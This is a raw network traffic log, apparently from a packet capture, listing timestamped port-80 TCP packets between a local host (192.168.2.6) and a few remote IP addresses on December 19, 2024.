Dec 19, 2024 08:09:37.154110909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154124022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154136896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154170990 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.154217958 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.154258013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154269934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154325008 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.154443026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154457092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154467106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154479980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154500008 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.154530048 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.155118942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155308962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155325890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155337095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155349016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155359983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155371904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155381918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.155416012 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.155483961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155497074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155507088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155519009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155531883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155540943 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.155545950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155560970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.155571938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.155571938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.155595064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.156347990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156358957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156371117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156383038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156388998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156404972 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.156457901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.156498909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156512022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156522989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156555891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.156589031 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.156677008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156692982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156706095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156717062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.156734943 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.156771898 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.157291889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157304049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157315016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157326937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157351017 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.157383919 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.157538891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157557964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157568932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157581091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157591105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157603025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157604933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.157613993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157628059 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.157629013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157649040 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.157672882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.157883883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157896996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157907963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.157941103 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.158025026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158037901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158049107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158061981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158072948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158082008 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.158086061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158098936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158103943 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.158121109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.158164978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158179045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158190012 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.158220053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.158829927 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:37.158910990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158924103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.158972979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.159101009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159113884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159125090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159137964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159163952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159171104 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.159177065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159188032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159193993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.159200907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159214973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159216881 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.159229040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159250975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.159257889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159288883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.159826040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159838915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159848928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159862041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159889936 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.159924030 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.159975052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.159995079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160006046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160017014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160038948 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.160072088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.160162926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160176039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160187960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160200119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160209894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160213947 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.160243988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.160269022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.160887003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160898924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160912037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160923958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.160955906 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.160988092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.161034107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161046982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161058903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161070108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161082983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161094904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161097050 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.161107063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161119938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.161120892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161142111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.161165953 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.161736965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161926985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161938906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161950111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161962986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161973953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161986113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.161988020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.161998034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162008047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162013054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162026882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162029028 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162039042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162050009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162053108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162067890 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162101984 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162621975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162635088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162646055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162657976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162668943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162681103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162684917 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162693024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162707090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162736893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162802935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162815094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162827969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162841082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162847996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162853956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.162869930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162899971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.162930012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163467884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163480997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163496017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163537979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.163572073 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.163669109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163680077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163691998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163703918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163721085 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.163753033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.163794994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163816929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163830042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163841963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.163868904 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.163923025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.224275112 CET	80	49876	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:37.224807978 CET	49876	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:37.256217957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.256233931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.256310940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.256980896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.257025957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.257076025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.259061098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.259083986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.259228945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.260929108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.261004925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.261059046 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.262816906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.262831926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.262904882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.264691114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.264780045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.266690969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.266762972 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.266784906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.268589020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.268676996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.268719912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.268764019 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.270592928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.270710945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.270764112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.272473097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.272588968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.272639036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.274410009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.274514914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.274568081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.276269913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.276361942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.276412010 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.278213978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.278268099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.278314114 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.278368950 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:37.278456926 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:37.278917074 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:37.280153990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.280221939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.280275106 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.282092094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.282135963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.282176018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.284112930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.284204006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.284245014 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.285962105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.286092043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.286134005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.288095951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.288182020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.288304090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.289832115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.289947033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.289985895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.291728973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.291853905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.291897058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.293766975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.293869972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.293914080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.295584917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.295706987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.295753002 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.297508955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.297631025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.297683954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.299472094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.299545050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.299597979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.301449060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.301563978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.301618099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.303296089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.303417921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.303478956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.305249929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.305408955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.305450916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.307168961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.307307005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.307395935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.309103012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.309214115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.309271097 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.311037064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.311167955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.311218023 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.313029051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.313148975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.313198090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.314902067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.314986944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.315295935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.316818953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.316942930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.316989899 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.318734884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.318861961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.318913937 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.320768118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.320817947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.320863962 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.322592974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.322722912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.322772980 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.324541092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.324650049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.324709892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.326478958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.326597929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.326664925 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.328409910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.328502893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.328583956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.330362082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.330454111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.330684900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.332274914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.332393885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.332451105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.334218979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.334315062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.334429979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.336127043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.336249113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.336415052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.338069916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.338181973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.338340998 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.339976072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.340095043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.340142965 CET	49862	80	192.168.2.6	194.87.47.113
